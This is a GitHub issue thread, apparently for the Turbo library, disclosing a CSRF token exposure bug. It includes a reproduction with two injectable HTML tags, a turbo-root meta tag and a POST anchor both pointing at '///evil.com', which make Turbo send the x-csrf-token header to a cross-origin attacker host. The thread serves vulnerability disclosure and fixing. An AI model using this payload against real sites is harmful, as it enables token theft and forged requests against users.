-
Notifications
You must be signed in to change notification settings - Fork 430
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CSRF Token Exposure #917
Comments
Hey team. Wanted to follow up here. After further investigation it turns out that the triple This is a security concern because if an attacker can poison the turbo-root and inject a link they can steal the csrf token. Below is a step by step reproduction of this: FIrst, I set up a local http server using nodes
Next, I load a turbo enabled page on a different origin. It should have:
in the header, and:
in the body. Clicking the link sends a request to my http server with the csrf-token attached, despite this being a cross origin request. |
Thank you for the detailed error report. I wonder if we could limit this kind of exposure by rejecting any Ignoring any value with a protocol like @afcapel @kevinmcconnell this is serious, and worth investigating further. |
I wonder if #913 might help us address this. |
Under some circumstances it's possible to trick turbo into sending a csrf token to a cross-origin location. This requires a malicious actor to be able to inject two HTML tags into a turbo enabled page, and have a targets browser load that page.
The attacker must first load a turbo-root meta tag into the documents header. This must be formed like:
<meta name="turbo-root" content="///evil.com">
Then, in the body of the page, the attacker must inject an anchor tag that sends a post request like:
<a href="///evil.com" data-turbo-method="POST">click me!</a>
Clicking this link will cause turbo to attach an x-csrf-token header to the request and send it to evil.com.
The text was updated successfully, but these errors were encountered: